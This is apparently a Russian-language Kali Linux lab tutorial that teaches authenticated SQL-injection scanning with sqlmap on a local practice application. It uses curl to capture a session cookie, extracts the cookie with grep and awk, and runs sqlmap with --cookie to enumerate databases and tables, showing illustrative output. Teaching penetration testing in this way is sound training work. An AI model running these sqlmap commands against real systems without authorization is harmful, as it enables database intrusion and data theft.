Управление аутентифицированными сканированиями с использованием cookie в sqlmap

Kali LinuxBeginner
Практиковаться сейчас

Введение

При тестировании на проникновение веб-приложений многие уязвимости существуют в областях, требующих аутентификации пользователя. Такие инструменты, как sqlmap — мощный инструмент тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и эксплуатации уязвимостей SQL-инъекций, — нуждаются в способе доступа к этим защищенным разделам. Данная лаборатория проведет вас через процесс выполнения аутентифицированных сканирований с использованием сессионных cookie-файлов с помощью sqlmap. Вы узнаете, как извлекать сессионные cookie-файлы из браузера, а затем использовать их, чтобы указать sqlmap поддерживать аутентифицированную сессию во время сканирования. Этот метод имеет решающее значение для всесторонней оценки безопасности современных веб-приложений.

Вход в целевое веб-приложение

На этом этапе вы имитируете вход в целевое веб-приложение. Для целей данной лаборатории мы предполагаем, что локально запущено веб-приложение, требующее аутентификации. Вы будете использовать curl для имитации запроса на вход и получения сессионного cookie. В реальном сценарии вы обычно входите через веб-браузер.

Сначала давайте имитируем успешный вход в гипотетическое приложение. Мы будем использовать curl для отправки POST-запроса с фиктивными учетными данными. Ответ сервера будет включать заголовок Set-Cookie, если вход будет успешным.

curl -c cookiejar.txt -X POST -d "username=admin&password=password" http://localhost:8080/login

Опция -c cookiejar.txt указывает curl записывать любые полученные cookie в файл с именем cookiejar.txt. После выполнения этой команды в вашем текущем каталоге (~/project) должен быть создан файл с именем cookiejar.txt.

Теперь давайте посмотрим содержимое файла cookiejar.txt, чтобы увидеть сессионный cookie.

cat cookiejar.txt

Вы должны увидеть вывод, похожий на этот, содержащий информацию о сессионном cookie:

## Netscape HTTP Cookie File
## http://curl.haxx.se/docs/cookiejar.html
## This file was generated by curl! Edit at your own risk.

localhost	FALSE	/	FALSE	0	PHPSESSID	a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

Важной частью здесь является значение PHPSESSID (например, a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6). Это ваш сессионный cookie.

На этом этапе вы научитесь вручную извлекать строку сессионного cookie. Хотя curl автоматически сохранил ее в cookiejar.txt на предыдущем шаге, понимание того, как извлечь ее вручную, имеет решающее значение для реальных сценариев, когда вы можете входить через веб-браузер.

Из файла cookiejar.txt вам нужно будет идентифицировать фактическую строку cookie. В нашем примере это PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6.

Вы можете использовать grep и awk для извлечения только значения cookie из файла cookiejar.txt.

grep "PHPSESSID" cookiejar.txt | awk '{print $6"="$7}'

Эта команда выведет только строку cookie, например:

PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

Это строка, которую вы предоставите sqlmap с помощью флага --cookie. Скопируйте эту строку, так как она вам понадобится на следующем шаге.

Теперь, когда вы извлекли сессионный cookie, вы можете использовать его с sqlmap для выполнения аутентифицированного сканирования. Флаг --cookie в sqlmap позволяет указать значение заголовка HTTP cookie.

Для данной лаборатории мы предполагаем, что уязвимая страница находится по адресу http://localhost:8080/authenticated_page.php?id=1. Эта страница требует наличия cookie PHPSESSID для доступа.

Замените YOUR_COOKIE_STRING на фактическую строку cookie, которую вы извлекли на предыдущем шаге (например, PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6).

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --batch --forms --level=1 --risk=1

Разберем команду sqlmap:

  • -u "http://localhost:8080/authenticated_page.php?id=1": Указывает целевой URL.
  • --cookie="YOUR_COOKIE_STRING": Предоставляет сессионный cookie для sqlmap. Это ключевая часть для аутентифицированных сканирований.
  • --batch: Запускает sqlmap в неинтерактивном режиме, принимая значения по умолчанию.
  • --forms: Указывает sqlmap анализировать и тестировать формы на целевом URL.
  • --level=1 --risk=1: Устанавливает уровень обнаружения и риск. Для быстрой проверки достаточно уровня 1 и риска 1.

Выполните команду. sqlmap начнет сканирование указанного URL, используя предоставленный cookie для поддержания аутентифицированной сессии.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)
[!] legal disclaimer: sqlmap is provided 'as is', without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. in no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software.

[!] you are running an outdated version of sqlmap. The '1.6.12#stable' is the latest stable version
[!] to disable this notification set 'allow_update_check' option to 'False' in your sqlmap configuration file (sqlmap.conf)

[00:00:00] [INFO] starting @00:00:00

... (sqlmap output will vary based on target and findings) ...

[00:00:XX] [INFO] fetched data: 'id=1'
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] closing @00:00:XX

Вывод покажет ход выполнения sqlmap и любые найденные результаты. Если сканирование проходит без ошибок, связанных с аутентификацией, это означает, что sqlmap успешно использовал cookie.

Выполнение сканирования страницы, требующей аутентификации

На этом шаге мы уточним нашу команду sqlmap для целенаправленного сканирования страницы, которая, как известно, требует аутентификации и может быть уязвима. Мы будем использовать немного более подробный вывод, чтобы наблюдать за поведением sqlmap.

Предположим, что authenticated_page.php действительно уязвима к SQL-инъекциям через параметр id. Мы будем использовать флаг --dbs для попытки перечисления баз данных, что является обычным первым шагом при эксплуатации SQL-инъекций.

Снова замените YOUR_COOKIE_STRING на ваш фактический сессионный cookie.

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --dbs --batch --forms --level=1 --risk=1

Флаг --dbs пытается перечислить имена баз данных. Если sqlmap успешно использует cookie, он должен получить доступ к странице и продолжить перечисление баз данных.

Наблюдайте за выводом. Если sqlmap сообщает об обнаружении баз данных (например, information_schema, mysql, testdb), это подтверждает, что аутентифицированное сканирование прошло успешно. Если он сообщает "no injectable parameters found" (не найдено инъецируемых параметров) или "page not accessible" (страница недоступна), это может указывать на проблему с cookie или целевым URL.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching database names
[00:00:XX] [INFO] retrieved database names: ['information_schema', 'mysql', 'performance_schema', 'sys', 'testdb']
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] testdb

[00:00:XX] [INFO] closing @00:00:XX

Наличие имен баз данных в выводе подтверждает, что sqlmap смог получить доступ к аутентифицированной странице и выполнить тест на инъекцию.

Подтверждение выполнения сканирования от имени аутентифицированного пользователя

На этом заключительном этапе мы подтвердим, что sqlmap действительно работает как аутентифицированный пользователь, наблюдая за его поведением и потенциальными результатами. Ключевым показателем является то, может ли sqlmap получать доступ и тестировать параметры на страницах, которые видны только после входа в систему.

Если sqlmap успешно перечислил базы данных на предыдущем шаге, это является сильным подтверждением. Чтобы еще больше укрепить это, вы можете попытаться извлечь данные из одной из обнаруженных баз данных, например, testdb.

Замените YOUR_COOKIE_STRING на ваш фактический сессионный cookie.

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" -D testdb --tables --batch --forms --level=1 --risk=1

Здесь -D testdb указывает базу данных для таргетирования, а --tables пытается перечислить таблицы в этой базе данных. Если sqlmap может перечислить таблицы из testdb, это окончательно доказывает, что он работает в аутентифицированном контексте.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching tables for database 'testdb'
[00:00:XX] [INFO] retrieved table names for database 'testdb': ['users', 'products']
Database: testdb
[2 tables]
+----------+
| products |
| users    |
+----------+

[00:00:XX] [INFO] closing @00:00:XX

Вывод, показывающий имена таблиц (например, users, products) в базе данных testdb, подтверждает, что sqlmap успешно поддерживал аутентифицированную сессию и смог выполнить более глубокое перечисление в защищенной области приложения. Это демонстрирует эффективность использования cookie для аутентифицированных сканирований.

Резюме

В этой лабораторной работе вы успешно научились выполнять аутентифицированные сканирования с помощью sqlmap, используя сессионные cookie. Вы начали с имитации входа в веб-приложение и извлечения сессионного cookie. Затем вы использовали флаг --cookie в sqlmap для предоставления этого cookie, что позволило инструменту получать доступ к страницам, требующим аутентификации, и сканировать их. Наконец, вы подтвердили успешность аутентифицированного сканирования, наблюдая за способностью sqlmap перечислять базы данных и таблицы в защищенной области приложения. Этот навык является фундаментальным для проведения всесторонних оценок безопасности современных веб-приложений, где большая часть функциональности находится за входом в систему.